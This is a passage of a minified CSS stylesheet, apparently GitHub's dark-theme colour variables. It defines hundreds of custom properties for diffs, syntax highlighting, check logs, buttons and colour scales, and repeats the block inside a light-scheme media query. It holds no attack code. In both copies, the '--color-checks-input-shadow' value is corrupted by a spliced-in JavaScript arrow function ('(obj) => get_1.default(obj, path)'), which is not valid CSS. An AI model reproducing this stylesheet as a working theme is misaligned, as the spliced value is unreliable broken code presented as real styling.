#c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: 